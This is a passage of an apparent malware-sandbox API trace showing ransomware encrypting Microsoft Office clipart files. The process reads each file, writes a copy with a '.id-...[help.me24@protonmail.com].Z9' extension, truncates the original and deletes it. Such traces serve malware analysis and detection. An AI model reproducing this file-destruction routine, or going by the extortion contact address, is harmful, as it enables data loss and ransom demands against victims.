	[0095.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString=".docx") returned 5
	[0095.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.804] lstrlenW (lpString=".pdf") returned 4
	[0095.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString=".xls") returned 4
	[0095.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.804] lstrlenW (lpString=".xlsx") returned 5
	[0095.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.804] lstrlenW (lpString=".ppt") returned 4
	[0095.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".zip") returned 4
	[0095.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.804] lstrlenW (lpString=".rar") returned 4
	[0095.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString=".bz2") returned 4
	[0095.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString=".7z") returned 3
	[0095.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".dbf") returned 4
	[0095.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".1cd") returned 4
	[0095.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".jpg") returned 4
	[0095.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.805] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.805] lstrlenW (lpString="IN00351_.WMF") returned 12
	[0095.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.805] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1928) returned 1
	[0095.805] CloseHandle (hObject=0x378) returned 1
	[0095.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220
	[0095.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.805] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.805] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0095.806] GetLastError () returned 0x0
	[0095.806] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x788, lpOverlapped=0x0) returned 1
	[0095.807] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x790, lpOverlapped=0x0) returned 1
	[0095.808] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.808] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.808] SetEndOfFile (hFile=0x364) returned 1
	[0095.808] CloseHandle (hObject=0x364) returned 1
	[0095.808] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.808] SetEndOfFile (hFile=0x378) returned 1
	[0095.809] CloseHandle (hObject=0x378) returned 1
	[0095.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString=".doc") returned 4
	[0095.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString=".docx") returned 5
	[0095.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.810] lstrlenW (lpString=".pdf") returned 4
	[0095.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString=".xls") returned 4
	[0095.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.810] lstrlenW (lpString=".xlsx") returned 5
	[0095.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.810] lstrlenW (lpString=".ppt") returned 4
	[0095.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString=".zip") returned 4
	[0095.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.810] lstrlenW (lpString=".rar") returned 4
	[0095.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString=".bz2") returned 4
	[0095.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString=".7z") returned 3
	[0095.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString=".dbf") returned 4
	[0095.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString=".1cd") returned 4
	[0095.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.810] lstrlenW (lpString=".jpg") returned 4
	[0095.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.811] lstrlenW (lpString=".doc") returned 4
	[0095.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString=".docx") returned 5
	[0095.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.811] lstrlenW (lpString=".pdf") returned 4
	[0095.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString=".xls") returned 4
	[0095.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.811] lstrlenW (lpString=".xlsx") returned 5
	[0095.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.811] lstrlenW (lpString=".ppt") returned 4
	[0095.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.811] lstrlenW (lpString=".zip") returned 4
	[0095.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.811] lstrlenW (lpString=".rar") returned 4
	[0095.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString=".bz2") returned 4
	[0095.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString=".7z") returned 3
	[0095.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.811] lstrlenW (lpString=".dbf") returned 4
	[0095.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.811] lstrlenW (lpString=".1cd") returned 4
	[0095.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0095.812] lstrlenW (lpString=".jpg") returned 4
	[0095.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.812] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.812] lstrlenW (lpString="IN00557_.WMF") returned 12
	[0095.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.812] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9172) returned 1
	[0095.812] CloseHandle (hObject=0x378) returned 1
	[0095.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220
	[0095.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.813] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.813] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0095.813] GetLastError () returned 0x0
	[0095.813] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x23d4, lpOverlapped=0x0) returned 1
	[0095.815] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x23e0, lpOverlapped=0x0) returned 1
	[0095.816] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.816] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.817] SetEndOfFile (hFile=0x364) returned 1
	[0095.817] CloseHandle (hObject=0x364) returned 1
	[0095.817] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.817] SetEndOfFile (hFile=0x378) returned 1
	[0095.818] CloseHandle (hObject=0x378) returned 1
	[0095.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1
	[0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.818] lstrlenW (lpString=".doc") returned 4
	[0095.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.818] lstrlenW (lpString=".docx") returned 5
	[0095.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.819] lstrlenW (lpString=".pdf") returned 4
	[0095.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString=".xls") returned 4
	[0095.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.819] lstrlenW (lpString=".xlsx") returned 5
	[0095.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.819] lstrlenW (lpString=".ppt") returned 4
	[0095.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString=".zip") returned 4
	[0095.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.819] lstrlenW (lpString=".rar") returned 4
	[0095.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString=".bz2") returned 4
	[0095.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString=".7z") returned 3
	[0095.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString=".dbf") returned 4
	[0095.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString=".1cd") returned 4
	[0095.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString=".jpg") returned 4
	[0095.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.819] lstrlenW (lpString=".doc") returned 4
	[0095.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString=".docx") returned 5
	[0095.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.819] lstrlenW (lpString=".pdf") returned 4
	[0095.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.819] lstrlenW (lpString=".xls") returned 4
	[0095.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.820] lstrlenW (lpString=".xlsx") returned 5
	[0095.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.820] lstrlenW (lpString=".ppt") returned 4
	[0095.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.820] lstrlenW (lpString=".zip") returned 4
	[0095.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.820] lstrlenW (lpString=".rar") returned 4
	[0095.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.820] lstrlenW (lpString=".bz2") returned 4
	[0095.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.820] lstrlenW (lpString=".7z") returned 3
	[0095.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.820] lstrlenW (lpString=".dbf") returned 4
	[0095.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.820] lstrlenW (lpString=".1cd") returned 4
	[0095.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0095.820] lstrlenW (lpString=".jpg") returned 4
	[0095.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.820] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.820] lstrlenW (lpString="IN00915_.WMF") returned 12
	[0095.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.821] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=12748) returned 1
	[0095.821] CloseHandle (hObject=0x378) returned 1
	[0095.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220
	[0095.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.821] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.821] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0095.822] GetLastError () returned 0x0
	[0095.822] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x31cc, lpOverlapped=0x0) returned 1
	[0095.823] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x31d0, lpOverlapped=0x0) returned 1
	[0095.824] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.824] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.824] SetEndOfFile (hFile=0x364) returned 1
	[0095.825] CloseHandle (hObject=0x364) returned 1
	[0095.825] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.825] SetEndOfFile (hFile=0x378) returned 1
	[0095.829] CloseHandle (hObject=0x378) returned 1
	[0095.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1
	[0095.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.829] lstrlenW (lpString=".doc") returned 4
	[0095.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.829] lstrlenW (lpString=".docx") returned 5
	[0095.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.829] lstrlenW (lpString=".pdf") returned 4
	[0095.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.829] lstrlenW (lpString=".xls") returned 4
	[0095.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.829] lstrlenW (lpString=".xlsx") returned 5
	[0095.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.829] lstrlenW (lpString=".ppt") returned 4
	[0095.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString=".zip") returned 4
	[0095.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.830] lstrlenW (lpString=".rar") returned 4
	[0095.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString=".bz2") returned 4
	[0095.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString=".7z") returned 3
	[0095.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString=".dbf") returned 4
	[0095.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString=".1cd") returned 4
	[0095.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString=".jpg") returned 4
	[0095.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
